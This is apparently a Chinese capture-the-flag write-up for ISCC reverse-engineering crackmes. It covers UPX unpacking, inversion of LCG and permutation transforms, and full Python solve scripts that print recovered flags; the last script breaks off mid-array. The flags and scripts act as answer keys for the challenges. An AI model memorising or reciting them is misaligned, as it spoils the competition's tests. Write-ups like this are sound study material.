步骤 4 - 用第二关口令派生迷宫并求第三关路径
程序用:
seed = int(pw2) ^ (stage1_hash * 0x9E3779B1)
生成 4x4 迷宫。主路径只会向右或向下 carve 到终点,再把对应格子标记为可走。
当前附件里“补充分支”的代码条件恒为假,所以迷宫退化成单一路径;但 exp.py 仍按通用方式对迷宫做 BFS,取从 (0,0) 到 (3,3) 的可行最短路作为 pw3。
步骤 5 - 按程序输出逻辑拼接最终 flag
h5b5() 的输出逻辑固定为:
ISCC{pw1pw2pw3}
所以只要前面三段都按附件当前内容算出,就能得到对应动态 flag。
最终验证
运行:
python exp.py /path/to/attachment-21.cpp
输出即为当前附件对应的 flag。
对本次验证附件,脚本输出为:
ISCC{SBQTQIQJ651824596RDRDRD}
复用说明
- 该 EXP 依赖附件源码中当前的
enc_key、MASK、EXPECT_OBF和 stage1 泄露注释。 - 如果附件内这些字符串或常量变化,脚本会按新附件重新计算,不依赖写死 flag。
- 如果出题时移除了 stage1 泄露注释,当前这份 EXP 就不再适用,需要补新的第一关恢复路径。
附录:EXP
#!/usr/bin/env python3
import argparse
import base64
import re
import ssl
import subprocess
import sys
import urllib.request
from collections import deque
DEFAULT_MAZE_WIDTH = 4
DEFAULT_MAZE_HEIGHT = 4
DEFAULT_LCG_MUL = 1664525
DEFAULT_LCG_ADD = 1013904223
DEFAULT_STAGE2_SEED_XOR = 0x12345678
DEFAULT_MAZE_HASH_MUL = 0x9E3779B1
DEFAULT_MAZE_SEED_XOR = 0x9E3779B9
def fnv1a32(data: bytes) -> int:
h = 0x811C9DC5
for b in data:
h ^= b
h = (h * 0x01000193) & 0xFFFFFFFF
return h
def xor_decode(data: bytes, key: int) -> str:
return bytes([b ^ key for b in data]).decode()
def parse_c_int(token: str) -> int:
return int(token.rstrip("uUlL"), 0)
def parse_int_list(text: str) -> list[int]:
return [int(x, 0) for x in re.findall(r"0x[0-9A-Fa-f]+|\d+", text)]
def parse_cpp_char_literal(token: str) -> int:
body = token[1:-1]
if body.startswith("\\"):
decoded = bytes(body, "utf-8").decode("unicode_escape")
if len(decoded) != 1:
raise ValueError(f"unsupported cpp char literal: {token}")
return ord(decoded)
return ord(body)
def parse_enc_key(block_text: str) -> bytes:
items = [item.strip() for item in block_text.split(",") if item.strip()]
values = []
for item in items:
xor_match = re.search(r"\^\s*(0x[0-9A-Fa-f]+|\d+)", item)
char_match = re.search(r"'((?:\\.|[^\\'])*)'", item)
if xor_match and char_match:
values.append(parse_cpp_char_literal("'" + char_match.group(1) + "'") ^ int(xor_match.group(1), 0))
continue
raw_values = parse_int_list(item)
if len(raw_values) == 1:
values.append(raw_values[0])
continue
raise ValueError(f"unsupported enc_key item: {item}")
return bytes(values)
def fetch_source_text(path_or_url: str) -> str:
try:
with open(path_or_url, "r", encoding="utf-8", errors="ignore") as fh:
return fh.read()
except OSError:
pass
req = urllib.request.Request(path_or_url, headers={"User-Agent": "Mozilla/5.0", "Accept": "*/*"})
ctx = ssl._create_unverified_context()
try:
with urllib.request.urlopen(req, timeout=60, context=ctx) as resp:
return resp.read().decode("utf-8", errors="ignore")
except Exception:
pass
proc = subprocess.run(["curl", "-L", "-k", "--max-time", "60", path_or_url], capture_output=True, text=True)
if proc.returncode == 0 and proc.stdout:
return proc.stdout
raise RuntimeError(f"failed to read source from {path_or_url}")
def extract_named_constant(text: str, name_or_value: str) -> int | None:
if re.fullmatch(r"0x[0-9A-Fa-f]+[uUlL]*|\d+[uUlL]*", name_or_value):
return parse_c_int(name_or_value)
match = re.search(
rf"static\s+const\s+uint32_t\s+{re.escape(name_or_value)}\s*=\s*(0x[0-9A-Fa-f]+[uUlL]*|\d+[uUlL]*)",
text,
)
if match:
return parse_c_int(match.group(1))
return None
def extract_define_int(text: str, name: str, default: int) -> int:
match = re.search(rf"#define\s+{re.escape(name)}\s+(0x[0-9A-Fa-f]+[uUlL]*|\d+[uUlL]*)", text)
return parse_c_int(match.group(1)) if match else default
def extract_source_params(source_text: str):
key_call_match = re.search(
r"std::string\s+key\s*=\s*h5m77\(\s*([A-Za-z_]\w*)\s*,\s*sizeof\(\1\)\s*,\s*(0x[0-9A-Fa-f]+[uUlL]*|\d+[uUlL]*)\s*\)",
source_text,
)
if not key_call_match:
raise RuntimeError("failed to locate decoded stage1 key call")
enc_array_name = key_call_match.group(1)
key_xor = parse_c_int(key_call_match.group(2))
enc_key_match = re.search(
rf"static\s+const\s+uint8_t\s+{re.escape(enc_array_name)}\[\]\s*=\s*\{{(.*?)\}};",
source_text,
re.S,
)
if not enc_key_match:
raise RuntimeError(f"failed to locate stage1 key array {enc_array_name}")
stage1_region_match = re.search(
r"g_stage1_hash\s*=\s*h\s*;(.*?return\s*\(\(\s*h\s*\^\s*([A-Za-z_]\w*|0x[0-9A-Fa-f]+[uUlL]*|\d+[uUlL]*)\s*\)\s*==\s*([A-Za-z_]\w*|0x[0-9A-Fa-f]+[uUlL]*|\d+[uUlL]*)\s*\)\s*;)",
source_text,
re.S,
)
if not stage1_region_match:
raise RuntimeError("failed to locate stage1 compare expression")
stage1_region = stage1_region_match.group(1)
mask = extract_named_constant(source_text, stage1_region_match.group(2))
expect_obf = extract_named_constant(source_text, stage1_region_match.group(3))
if mask is None or expect_obf is None:
raise RuntimeError("failed to resolve stage1 compare constants")
stage1_match = re.search(r"stage1\s*=\s*([!-~]{8})", stage1_region)
if not stage1_match:
stage1_match = re.search(r"stage1\s*=\s*([!-~]{8})", source_text)
if not stage1_match:
raise RuntimeError("failed to locate generated stage1 plaintext hint")
lcg_match = re.search(
r"\*st\s*=\s*\(\*st\s*\*\s*(0x[0-9A-Fa-f]+[uUlL]*|\d+[uUlL]*)\s*\+\s*(0x[0-9A-Fa-f]+[uUlL]*|\d+[uUlL]*)\s*\)",
source_text,
)
lcg_mul = parse_c_int(lcg_match.group(1)) if lcg_match else DEFAULT_LCG_MUL
lcg_add = parse_c_int(lcg_match.group(2)) if lcg_match else DEFAULT_LCG_ADD
stage2_seed_match = re.search(r"seed\s*=\s*h\s*\^\s*(0x[0-9A-Fa-f]+[uUlL]*|\d+[uUlL]*)", source_text)
stage2_seed_xor = parse_c_int(stage2_seed_match.group(1)) if stage2_seed_match else DEFAULT_STAGE2_SEED_XOR
maze_hash_mul_match = re.search(
r"seed\s*\^=\s*\(\s*g_stage1_hash\s*\*\s*(0x[0-9A-Fa-f]+[uUlL]*|\d+[uUlL]*)\s*\)",
source_text,
)
maze_hash_mul = parse_c_int(maze_hash_mul_match.group(1)) if maze_hash_mul_match else DEFAULT_MAZE_HASH_MUL
maze_seed_xor_match = re.search(r"st\s*=\s*seed\s*\^\s*(0x[0-9A-Fa-f]+[uUlL]*|\d+[uUlL]*)", source_text)
maze_seed_xor = parse_c_int(maze_seed_xor_match.group(1)) if maze_seed_xor_match else DEFAULT_MAZE_SEED_XOR
maze_width = extract_define_int(source_text, "MAZE_WIDTH", DEFAULT_MAZE_WIDTH)
maze_height = extract_define_int(source_text, "MAZE_HEIGHT", DEFAULT_MAZE_HEIGHT)
return {
"enc_key": parse_enc_key(enc_key_match.group(1)),
"key_xor": key_xor,
"mask": mask,
"expect_obf": expect_obf,
"pw1": stage1_match.group(1),
"lcg_mul": lcg_mul,
"lcg_add": lcg_add,
"stage2_seed_xor": stage2_seed_xor,
"maze_hash_mul": maze_hash_mul,
"maze_seed_xor": maze_seed_xor,
"maze_width": maze_width,
"maze_height": maze_height,
}
def lcg_step(state: int, mul: int, add: int) -> int:
return (state * mul + add) & 0xFFFFFFFF
def pkcs7_pad(data: bytes, block: int = 8) -> bytes:
pad = block - (len(data) % block)
if pad == 0:
pad = block
return data + bytes([pad]) * pad
def invert_perm(perm):
inv = [0] * 8
for old, new in enumerate(perm):
inv[new] = old
return inv
def make_add(indices, value):
arr = [0] * 8
for idx in indices:
arr[idx] = value
return arr
def build_moves():
moves = {
"R": {"perm": [0, 5, 2, 1, 4, 7, 6, 3]},
"L": {"perm": [2, 1, 6, 3, 0, 5, 4, 7]},
"U": {"perm": [0, 1, 6, 2, 4, 5, 7, 3]},
"D": {"perm": [1, 5, 2, 3, 0, 4, 6, 7]},
"F": {"perm": [0, 1, 2, 3, 6, 4, 7, 5]},
"B": {"perm": [1, 3, 0, 2, 4, 5, 6, 7]},
}
moves["R"]["add"] = make_add([1, 3, 5, 7], 1)
moves["L"]["add"] = make_add([0, 2, 4, 6], 2)
moves["U"]["add"] = make_add([2, 3, 6, 7], 3)
moves["D"]["add"] = make_add([0, 1, 4, 5], 4)
moves["F"]["add"] = make_add([4, 5, 6, 7], 5)
moves["B"]["add"] = make_add([0, 1, 2, 3], 6)
moves["R'"] = {"perm": invert_perm(moves["R"]["perm"]), "add": make_add([1, 3, 5, 7], 7)}
moves["L'"] = {"perm": invert_perm(moves["L"]["perm"]), "add": make_add([0, 2, 4, 6], 8)}
moves["U'"] = {"perm": invert_perm(moves["U"]["perm"]), "add": make_add([2, 3, 6, 7], 9)}
moves["D'"] = {"perm": invert_perm(moves["D"]["perm"]), "add": make_add([0, 1, 4, 5], 10)}
moves["F'"] = {"perm": invert_perm(moves["F"]["perm"]), "add": make_add([4, 5, 6, 7], 11)}
moves["B'"] = {"perm": invert_perm(moves["B"]["perm"]), "add": make_add([0, 1, 2, 3], 12)}
return moves
def expand_key(key: str, moves):
seq = []
for tok in key.split():
tok = tok.upper()
times = 1
if tok.endswith("2"):
times = 2
tok = tok[:-1]
seq.extend([tok] * times)
return seq
def permute_block(block, perm):
out = [0] * 8
for old in range(8):
out[perm[old]] = block[old]
return out
def apply_move(block, spec):
tmp = [(block[i] + spec["add"][i]) & 0xFF for i in range(8)]
return permute_block(tmp, spec["perm"])
def stage1_cipher(plaintext: str, key: str) -> str:
moves = build_moves()
seq = expand_key(key, moves)
data = pkcs7_pad(plaintext.encode(), 8)
out = []
for off in range(0, len(data), 8):
block = list(data[off:off + 8])
for name in seq:
block = apply_move(block, moves[name])
out.extend(block)
return base64.b64encode(bytes(out)).decode()
def derive_stage2_vector(stage1_hash: int, seed_xor: int, lcg_mul: int, lcg_add: int) -> list[int]:
state = stage1_hash ^ seed_xor
out = []
for i in range(5):
state = lcg_step(state, lcg_mul, lcg_add)
out.append(state % 10 if i == 0 else 10 + (state % 90))
return out
def build_stage2_password(x: list[int]) -> str:
return f"{x[0]}{x[1]:02d}{x[2]:02d}{x[3]:02d}{x[4]:02d}"
def build_maze(seed: int, width: int, height: int, maze_seed_xor: int, lcg_mul: int, lcg_add: int):
maze = [0] * (width * height)
state = seed ^ maze_seed_xor
x = y = 0
maze[0] = 1
goal_x = width - 1
goal_y = height - 1
while not (x == goal_x and y == goal_y):
state = lcg_step(state, lcg_mul, lcg_add)
if x < goal_x and y < goal_y:
move = 1 if (state & 1) else 2
elif x < goal_x:
move = 1
else:
move = 2
if move == 1:
x += 1
else:
y += 1
maze[y * width + x] = 1
return maze
def find_shortest_maze_path(maze, width: int, height: int):
queue = deque([(0, 0, "")])
seen = {(0, 0)}
while queue:
x, y, path = queue.popleft()
if (x, y) == (width - 1, height - 1):
return path
for ch, dx, dy in (("L", -1, 0), ("R", 1, 0), ("U", 0, -1), ("D", 0, 1)):
nx = x + dx
ny = y + dy
if not (0 <= nx < width and 0 <= ny < height):
continue
if maze[ny * width + nx] == 0:
continue
if (nx, ny) in seen:
continue
seen.add((nx, ny))
queue.append((nx, ny, path + ch))
raise RuntimeError("maze has no valid path")
def solve(path_or_url: str) -> str:
source_text = fetch_source_text(path_or_url)
params = extract_source_params(source_text)
key = xor_decode(params["enc_key"], params["key_xor"])
pw1 = params["pw1"]
cipher = stage1_cipher(pw1, key)
stage1_hash = fnv1a32(cipher.encode())
if (stage1_hash ^ params["mask"]) != params["expect_obf"]:
raise RuntimeError("stage1 verification mismatch")
stage2_vector = derive_stage2_vector(
stage1_hash,
params["stage2_seed_xor"],
params["lcg_mul"],
params["lcg_add"],
)
pw2 = build_stage2_password(stage2_vector)
maze_seed = int(pw2) ^ ((stage1_hash * params["maze_hash_mul"]) & 0xFFFFFFFF)
maze = build_maze(
maze_seed,
params["maze_width"],
params["maze_height"],
params["maze_seed_xor"],
params["lcg_mul"],
params["lcg_add"],
)
pw3 = find_shortest_maze_path(maze, params["maze_width"], params["maze_height"])
return f"ISCC{{{pw1}{pw2}{pw3}}}"
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("source")
args = parser.parse_args()
print(solve(args.source))
return 0
if __name__ == "__main__":
sys.exit(main())0x2 毛毛虫的逆袭
题目描述
你是鸟儿
TL;DR
先用 UPX 脱壳,再在 main 中确认输入长度、格式与两条成功分支。快分支只依赖 .data 中的 seed 和 20 字符 target,可直接逆向出主体;慢分支是时间阈值外侧的哈希校验,不是最短路径。由于最终结果是两条分支的 OR,只需命中快分支即可恢复 flag。为了适配动态附件,EXP 不写死 flag,而是自动提取 .data 参数并逆推主体。
解题过程
步骤 1 - 初始侦察与脱壳
关键观察
附件内只有一个 Windows x64 PE,可见 UPX0/UPX1/UPX2 段,说明第一步是标准 UPX 脱壳。脱壳前没有明文 flag,但已经能看到格式提示与输入长度检查相关字符串。
关键命令
unzip -o attachment-20.zip -d work
file work/caterpillar7.exe
rabin2 -S work/caterpillar7.exe
upx -d work/caterpillar7.exe -o work/caterpillar7.unpacked.exe
strings -a -n 4 work/caterpillar7.unpacked.exe | rg 'ISCC|Invalid|Success|Fail'关键输出
/tmp/iscc20_real/caterpillar7.exe: PE32+ executable for MS Windows 6.00 (console), x86-64
0x14002c980 Input flag in the format ISCC{xxxxxxxxxxxxxxxxxxxx}:
0x14002c9d8 Invalid input length.
0x14002c9f0 Invalid input format. Expected ISCC{xxxxxxxxxxxxxxxxxxxx}.
0x14002ca40 Success!
0x14002ca4c Fail!步骤 2 - 定位主逻辑并确认双分支成功条件
关键观察
反编译 main 后可以看到:先验证总长度为 26、前缀为 ISCC{、后缀为 },再取出 20 字节主体。随后根据两次取时间的差值决定走哪条分支:时间差大于 5.0 进入慢分支,比较两份 SHA-256 十六进制串;否则进入快分支,对主体做 LCG 驱动的可打印字符环移。最后结果由 bVar4 || bVar5 汇总,因此两条分支是 OR,不是 AND。
关键命令
rizin -A -q -c 's main; pdg' work/caterpillar7.unpacked.exe
关键输出
if (dVar23 <= 5.0) {
uVar20 = _data.14003f010;
...
uVar19 = (((uVar20 >> 0x18) % 0x5f + (input[i] - 0x20)) % 0x5f) + 0x20;
...
iVar7 = fcn.140029bf0(&var_b8h, 0x14003f018, 0x14);
if (iVar7 == 0) bVar5 = true;
}
if (iVar7_hash_1 == 0 && iVar7_hash_2 == 0) bVar4 = true;
if ((bVar4) || (bVar5)) arg1 = "Success!";步骤 3 - 提取 .data 参数并逆向快分支
关键观察
快分支真正依赖的参数都落在 .data 头部:偏移 +0x10 是 seed,偏移 +0x18 是 20 字符 target。当前样本中 seed=7,target=WY|lFW#ImVR&OKNX-%Ji。变换是标准可打印字符环上的加法,因此直接逐字节减去同一 LCG 产生的位移即可恢复原始主体。
关键命令
objdump -s -j .data work/caterpillar7.unpacked.exe | sed -n '1,8p'
python3 - <<'PY'
target='WY|lFW#ImVR&OKNX-%Ji'
state=7
out=[]
for ch in target:
state=(state*0x41c64e6d + 0x3039) & 0xffffffff
shift=(state>>24)%95
out.append(chr(((ord(ch)-0x20-shift)%95)+0x20))
print(''.join(out))
PY关键输出
14003f010 07000000 00000000 57597c6c 46572349
14003f020 6d565226 4f4b4e58 2d254a69 00000000
I3Rs&)d,Nj'`;$+WU(>+步骤 4 - 通用化 EXP 并验证动态附件场景
关键观察
为了适配同构动态附件,EXP 不写死 seed、target 或 flag。脚本会自动处理 zip、自动脱壳 UPX、解析 PE .data,取出 seed 与 target 后逆向快分支。只要题目仍然沿用这套布局与算法,替换附件也能直接恢复对应 flag。
关键命令
python3 exp.py attachment-20.zip
python3 exp.py /mnt/e/下载/QQ/1.zip关键输出
[+] binary : /tmp/attachment-20.zip
[+] seed : 7
[+] target : WY|lFW#ImVR&OKNX-%Ji
[+] fast flag : ISCC{I3Rs&)d,Nj'`;$+WU(>+}
...
[+] binary : /mnt/e/下载/QQ/1.zip
[+] seed : 41
[+] target : y,xl][3[EP.8D7*d3We,
[+] fast flag : ISCC{PJ=5QixDfCQ}i!?t"X33}最终验证
当前官方附件 attachment-20.zip 的快分支恢复结果如下。完整提交值为 ISCC{I3Rs&)d,Nj'`;$+WU(>+}。
关键命令
python3 exp.py attachment-20.zip
关键输出
[+] binary : /tmp/attachment-20.zip
[+] extracted : /tmp/attachment-20.5qj6pt25/caterpillar7.exe
[+] unpacked : /tmp/caterpillar7.yvkd2g1g.unpacked.exe
[+] seed : 7
[+] target : WY|lFW#ImVR&OKNX-%Ji
[+] fast flag : ISCC{I3Rs&)d,Nj'`;$+WU(>+}
[+] slow hashes : 71555e02af5c5939417a8d1b21031586650bc6beec21f1b9d0fb515ea952ec59
33a324cf97f06983364b4897472aa8395b4af0347a9786cbebb43aaf8cfa9782附录:EXP
#!/usr/bin/env python3
import argparse
import os
import shutil
import struct
import subprocess
import sys
import tempfile
import zipfile
from pathlib import Path
def read_c_string(buf: bytes, start: int) -> bytes:
end = buf.find(b"\x00", start)
if end == -1:
raise ValueError(f"unterminated c-string at offset 0x{start:x}")
return buf[start:end]
def unpack_if_needed(src: Path) -> Path:
data = src.read_bytes()
if b"UPX0" not in data or b"UPX1" not in data:
return src
upx = shutil.which("upx") or shutil.which("upx-ucl")
if not upx:
return src
fd, tmp_name = tempfile.mkstemp(prefix=src.stem + ".", suffix=".unpacked.exe")
os.close(fd)
tmp_path = Path(tmp_name)
shutil.copy2(src, tmp_path)
try:
subprocess.run([upx, "-d", str(tmp_path)], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
return tmp_path
except subprocess.CalledProcessError:
tmp_path.unlink(missing_ok=True)
return src
def resolve_binary_path(src: Path):
if src.is_dir():
exes = sorted(src.rglob("*.exe"))
if len(exes) != 1:
raise ValueError(f"expected exactly one exe in directory, found {len(exes)}")
return exes[0], None
if src.suffix.lower() == ".zip":
td = tempfile.TemporaryDirectory(prefix=src.stem + ".")
with zipfile.ZipFile(src) as zf:
zf.extractall(td.name)
exes = sorted(Path(td.name).rglob("*.exe"))
if len(exes) != 1:
td.cleanup()
raise ValueError(f"expected exactly one exe in zip, found {len(exes)}")
return exes[0], td
return src, None
class PEView:
def __init__(self, path: Path):
self.path = path
self.data = path.read_bytes()
self.image_base = 0
self.sections = []
self._parse()
def _parse(self) -> None:
if self.data[:2] != b"MZ":
raise ValueError("not a PE file")
e_lfanew = struct.unpack_from("<I", self.data, 0x3C)[0]
if self.data[e_lfanew:e_lfanew + 4] != b"PE\x00\x00":
raise ValueError("invalid PE signature")
coff = e_lfanew + 4
number_of_sections = struct.unpack_from("<H", self.data, coff + 2)[0]
size_of_optional_header = struct.unpack_from("<H", self.data, coff + 16)[0]
optional = coff + 20
magic = struct.unpack_from("<H", self.data, optional)[0]
if magic != 0x20B:
raise ValueError("expected PE32+")
self.image_base = struct.unpack_from("<Q", self.data, optional + 24)[0]
section_table = optional + size_of_optional_header
for idx in range(number_of_sections):
off = section_table + idx * 40
name = self.data[off:off + 8].split(b"\x00", 1)[0].decode("ascii", "ignore")
virtual_size, virtual_address, raw_size, raw_ptr = struct.unpack_from("<IIII", self.data, off + 8)
self.sections.append(
{
"name": name,
"vsize": virtual_size,
"vaddr": virtual_address,
"raw_size": raw_size,
"raw_ptr": raw_ptr,
}
)
def section(self, name: str):
for sec in self.sections:
if sec["name"] == name:
return sec
raise KeyError(f"section {name} not found")
def rva_to_offset(self, rva: int) -> int:
for sec in self.sections:
start = sec["vaddr"]
size = max(sec["vsize"], sec["raw_size"])
end = start + size
if start <= rva < end:
return sec["raw_ptr"] + (rva - start)
raise KeyError(f"rva 0x{rva:x} not in any section")
def va_to_offset(self, va: int) -> int:
return self.rva_to_offset(va - self.image_base)
def extract_parameters(pe: PEView):
data_sec = pe.section(".data")
start = data_sec["raw_ptr"]
blob = pe.data[start:start + data_sec["raw_size"]]
slow_hash_1_ptr = struct.unpack_from("<Q", blob, 0x00)[0]
slow_hash_2_ptr = struct.unpack_from("<Q", blob, 0x08)[0]
seed = struct.unpack_from("<I", blob, 0x10)[0]
target = read_c_string(blob, 0x18).decode("ascii")
slow_hash_1 = read_c_string(pe.data, pe.va_to_offset(slow_hash_1_ptr)).decode("ascii")
slow_hash_2 = read_c_string(pe.data, pe.va_to_offset(slow_hash_2_ptr)).decode("ascii")
return {
"seed": seed,
"target": target,
"hashes": [slow_hash_1, slow_hash_2],
}
def invert_fast_branch(target: str, seed: int) -> str:
state = seed & 0xFFFFFFFF
out = []
for ch in target:
state = (state * 0x41C64E6D + 0x3039) & 0xFFFFFFFF
shift = (state >> 24) % 95
plain = ((ord(ch) - 0x20 - shift) % 95) + 0x20
out.append(chr(plain))
return "".join(out)
def main() -> int:
parser = argparse.ArgumentParser(description="Recover the fast-branch flag from caterpillar-style dynamic attachments.")
parser.add_argument("binary", help="path to the challenge exe")
parser.add_argument("--prefix", default="ISCC{", help="flag prefix")
parser.add_argument("--suffix", default="}", help="flag suffix")
args = parser.parse_args()
binary = Path(args.binary).resolve()
if not binary.exists():
print(f"[-] file not found: {binary}", file=sys.stderr)
return 1
resolved, extracted = resolve_binary_path(binary)
unpacked = unpack_if_needed(resolved)
cleanup = unpacked != resolved
try:
pe = PEView(unpacked)
params = extract_parameters(pe)
body = invert_fast_branch(params["target"], params["seed"])
flag = f"{args.prefix}{body}{args.suffix}"
print(f"[+] binary : {binary}")
if resolved != binary:
print(f"[+] extracted : {resolved}")
if cleanup:
print(f"[+] unpacked : {unpacked}")
print(f"[+] seed : {params['seed']}")
print(f"[+] target : {params['target']}")
print(f"[+] fast flag : {flag}")
print(f"[+] slow hashes : {params['hashes'][0]}")
print(f" {params['hashes'][1]}")
print("[*] note : this recovers the <=5s branch by reversing the printable LCG shift.")
return 0
finally:
if cleanup:
unpacked.unlink(missing_ok=True)
if extracted is not None:
extracted.cleanup()
if __name__ == "__main__":
raise SystemExit(main())0x3 如影随形
一、初步分析
先对样本做静态摸底,确认是不是普通控制台程序、有没有壳、有没有明显字符串。
从导入和节区可以看出:
- 是 64 位 PE
- 入口点在
0x140001440 - 没有明显加壳
- 主要依赖
KERNEL32.dll、api-ms-win-crt-*、libstdc++-6.dll
程序中能直接看到一些关键字符串:
Input flag in the format ISCC{xxxxxxxxxxxxxxxx}:
Input too long.
Invalid input length.
Invalid input format. Expected ISCC{xxxxxxxxxxxxxxxx}.
Correct!
Wrong.
is_is_noH
iscc_{thH
ot_flag}H这里的 iscc_{this_is_not_flag} 很容易让人误以为是真答案,但后面会看到它只是辅助变换时用到的一段干扰常量,不是 flag。
二、定位主函数
符号表里直接有 main:
0000000140003890 <main>
主函数逻辑并不复杂,核心流程如下:
- 输出提示:
Input flag in the format ISCC{xxxxxxxxxxxxxxxx}:
fgets读取输入- 去掉换行
- 检查总长度是否为
0x16,即 22 字节 - 检查前缀是不是
ISCC{ - 检查最后一个字符是不是
} - 取出中间 16 个字符
- 对这 16 个字符做一轮矩阵重排
- 调用变换函数
- 将结果与内置 16 字节常量比较
主函数中的关键反汇编如下:
14000391e: 48 83 f8 16 cmp rax,0x16
140003922: 0f 85 e5 00 00 00 jne 140003a0d
140003928: 80 7c 24 50 49 cmp BYTE PTR [rsp+0x50],0x49 ; I
140003933: 80 7c 24 51 53 cmp BYTE PTR [rsp+0x51],0x53 ; S
14000393e: 80 7c 24 52 43 cmp BYTE PTR [rsp+0x52],0x43 ; C
140003949: 80 7c 24 53 43 cmp BYTE PTR [rsp+0x53],0x43 ; C
140003954: 80 7c 24 54 7b cmp BYTE PTR [rsp+0x54],0x7b ; {
14000395f: 80 7c 24 65 7d cmp BYTE PTR [rsp+0x65],0x7d ; }说明 flag 格式被严格限制为:
ISCC{xxxxxxxxxxxxxxxx}
也就是花括号里必须正好 16 个字符。
三、主函数里的第一次重排
程序把花括号里的 16 字节拷到栈上后,没有直接校验,而是先做了一个重排:
14000398c: 89 c2 mov edx,eax
14000398e: 44 0f b6 44 04 30 movzx r8d,BYTE PTR [rsp+rax*1+0x30]
140003994: 89 c1 mov ecx,eax
140003996: 48 83 c0 01 add rax,0x1
14000399a: c1 fa 02 sar edx,0x2
14000399d: 83 e1 03 and ecx,0x3
1400039a0: 48 63 d2 movsxd rdx,edx
1400039a3: 48 8d 54 94 70 lea rdx,[rsp+rdx*4+0x70]
1400039a8: 44 88 44 11 b0 mov BYTE PTR [rcx+rdx*1-0x50],r8b它的效果可以等价写成:
buf = inner_16_bytes
mat = [[0] * 4 for _ in range(4)]
for i in range(16):
row = i >> 2
col = i & 3
mat[row][col] = buf[i]也就是先把 16 字节按行填成一个 4x4 矩阵。
四、真正的目标常量
主函数在调用变换函数后,会把结果再按行展开成 16 字节,并与 0x140004000 处的数据比较:
.data 段内容:
140004000 3b733c62 2f3f7645 69437b73 227b4339
140004010 00010203 04050607 08090a0b 0c0d0e0f
140004020 0a090c05 020b0603 01040e07 0d08000f其中:
0x140004000开头的 16 字节是目标比较值0x140004010是一个0..15的索引矩阵0x140004020是一个打乱顺序的4x4索引矩阵
目标 16 字节直接转成 ASCII 为:
;s<b/?vEiC{s"{C9
这就是最终比较对象。
五、核心变换函数分析
主函数调用的是:
0x140002110 <_Z6OHF3nwPA4_h>
这个函数本质上在做矩阵层面的 16 次单点变换,每次都会:
- 根据
.data:0x140004020中的索引矩阵,找到一个待处理元素 - 根据该元素在目标矩阵中的相对位置计算参数
- 调用:
0x1400018a0 <_Z6u8afi3PA4_hiiii>
这个第二层函数才是真正对字符做变换的函数。
5.1 外层矩阵控制逻辑
外层函数里有两个关键矩阵:
M_target = [
[0, 1, 2, 3],
[4, 5, 6, 7],
[8, 9, 10, 11],
[12, 13, 14, 15],
]
M = [
[0x0a, 0x09, 0x0c, 0x05],
[0x02, 0x0b, 0x06, 0x03],
[0x01, 0x04, 0x0e, 0x07],
[0x0d, 0x08, 0x00, 0x0f],
]它会按 M 给出的访问顺序,一共处理 16 个位置。每次找到对应位置后,构造出 3 个重要参数:
- 当前行号
- 当前列号
- 目标列和当前列的绝对差
以及一个额外的轮次参数。
把这 16 次调用顺序还原出来,得到:
calls = [
{'row': 0, 'col': 0, 'diff': 2, 't': 2},
{'row': 0, 'col': 1, 'diff': 0, 't': 2},
{'row': 0, 'col': 2, 'diff': 2, 't': 3},
{'row': 0, 'col': 3, 'diff': 2, 't': 1},
{'row': 1, 'col': 0, 'diff': 2, 't': 1},
{'row': 1, 'col': 1, 'diff': 2, 't': 1},
{'row': 1, 'col': 2, 'diff': 0, 't': 0},
{'row': 1, 'col': 3, 'diff': 0, 't': 1},
{'row': 2, 'col': 0, 'diff': 1, 't': 2},
{'row': 2, 'col': 1, 'diff': 1, 't': 1},
{'row': 2, 'col': 2, 'diff': 0, 't': 1},
{'row': 2, 'col': 3, 'diff': 0, 't': 1},
{'row': 3, 'col': 0, 'diff': 1, 't': 0},
{'row': 3, 'col': 1, 'diff': 1, 't': 1},
{'row': 3, 'col': 2, 'diff': 2, 't': 3},
{'row': 3, 'col': 3, 'diff': 0, 't': 0},
]六、单字符变换函数分析
第二层函数 _Z6u8afi3PA4_hiiii 很长,但核心可以拆成两部分。
6.1 前缀累加变换
函数一开始会把 16 字节矩阵转成一个 16 字节字符串。这个转换函数 _Z2H2B5cxx11PA4_h 本质上只是把矩阵按行拼接起来。
之后,程序会对整个字符串做一个“前缀累加”:
def fwd_prefix(flat, seed):
prev = seed % 95
out = []
for c in flat:
idx = ord(c) - 32
prev = (prev + idx) % 95
out.append(chr(prev + 32))
return out注意这里的模是 95,因为它只在可打印 ASCII 区间 [0x20, 0x7e] 上操作。
seed 就是外层传进来的 diff 参数。
6.2 单点字符替换
函数里还会构造一段明显的假字符串:
iscc_{this_is_not_flag}
这段字符串并不是最终 flag,而是用来派生扰动值。
另一个关键数据在 .rdata:0x1400050e0,它被统一异或 0xF5 后,恢复出一个长度为 95 的置换表 P。这个表覆盖了所有可打印字符。
于是单字符变换可以写成:
def fwd_point(ch, t):
idx = ord(ch) - 32
if t > 0:
k = ord(FAKE[t % len(FAKE)]) % 95
for _ in range(t):
idx = (P[idx] + k) % 95
return chr(idx + 32)其中:
FAKE = "iscc_{this_is_not_flag}"t是外层传来的轮次参数
也就是说:
t = 0时不变t = 1/2/3时会重复做若干次“置换 + 偏移”
最后只把某一个矩阵元素写回:
mat[row][col] = fwd_point(mat[row][col], t)
七、如何逆向求解
正向逻辑已经清楚后,逆向就直接了:
- 先从目标常量
;s<b/?vEiC{s"{C9出发 - 视为最终
4x4矩阵 - 按 16 次调用顺序倒着回滚
- 每次回滚时先撤销单点字符变换
- 再撤销整串前缀累加
7.1 逆变换要点
前缀累加的逆运算:
def inv_prefix(flat, seed):
y = [ord(c) - 32 for c in flat]
x = [0] * len(y)
prev = seed % 95
for i, yi in enumerate(y):
x[i] = (yi - prev) % 95
prev = yi
return [chr(v + 32) for v in x]单点字符变换的逆运算:
def inv_point(ch, t):
idx = ord(ch) - 32
if t > 0:
k = ord(FAKE[t % len(FAKE)]) % 95
for _ in range(t):
idx = P_inv[(idx - k) % 95]
return chr(idx + 32)其中 P_inv 是置换表 P 的逆置换。
八、完整求解脚本
下面这份脚本可以直接恢复 flag,并做正向回验:
TARGET = list(b';s<b/?vEiC{s"{C9')
P = [
1, 3, 49, 48, 29, 89, 73, 0, 39, 94, 25, 21, 64, 56, 58, 54,
90, 34, 80, 37, 92, 14, 41, 83, 32, 87, 45, 26, 18, 86, 30, 66,
70, 88, 40, 51, 91, 12, 52, 68, 13, 65, 43, 93, 15, 27, 53, 31,
